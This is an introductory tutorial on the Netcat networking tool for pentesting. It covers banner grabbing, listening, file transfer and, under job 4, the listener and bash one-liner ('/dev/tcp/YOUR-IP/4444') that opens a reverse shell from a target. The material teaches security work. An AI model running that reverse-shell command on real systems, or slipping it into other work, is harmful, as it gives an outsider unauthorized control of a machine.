Netcat — the network multitool

In a nutshell Netcat (nc) is a tiny tool that reads and writes raw data over a network connection. That humble idea makes it a client, a server, a port checker, a file transfer, or — most famously — the thing that catches a reverse shell. The "Swiss-army knife" of networking, for good reason.

The one idea — a raw pipe over TCP/UDP

Netcat makes a connection and moves bytes between your keyboard/files and it, in both directions. No protocol assumptions, no formatting — raw data. Because so much on a network is just raw bytes over TCP, that one primitive does a startling number of jobs.

Analogy — a plain length of pipe. On its own, nothing special. But a plain pipe carries water, gas, cables or messages — it makes no assumptions about what flows through. Netcat is that pipe for network data.

The jobs it does

# 1) talk to a service by hand (banner grabbing → version)
nc target 22           # "SSH-2.0-OpenSSH_8.9" tells you the version
nc target 80           # then type a raw HTTP request

# 2) become a tiny server (listen)
nc -lvnp 4444          # -l listen  -v verbose  -n no DNS  -p port

# 3) transfer a file
nc -lvnp 4444 > got.txt      # receiver
nc target 4444 < send.txt    # sender

# 4) catch a reverse shell (the classic use)
nc -lvnp 4444                              # your listener
bash -i >& /dev/tcp/YOUR-IP/4444 0>&1      # run on the target

Why it's everywhere in pentesting

It also teaches what's underneath the fancy tools: an HTTP request is just text you can type into a raw TCP connection — which demystifies the whole web.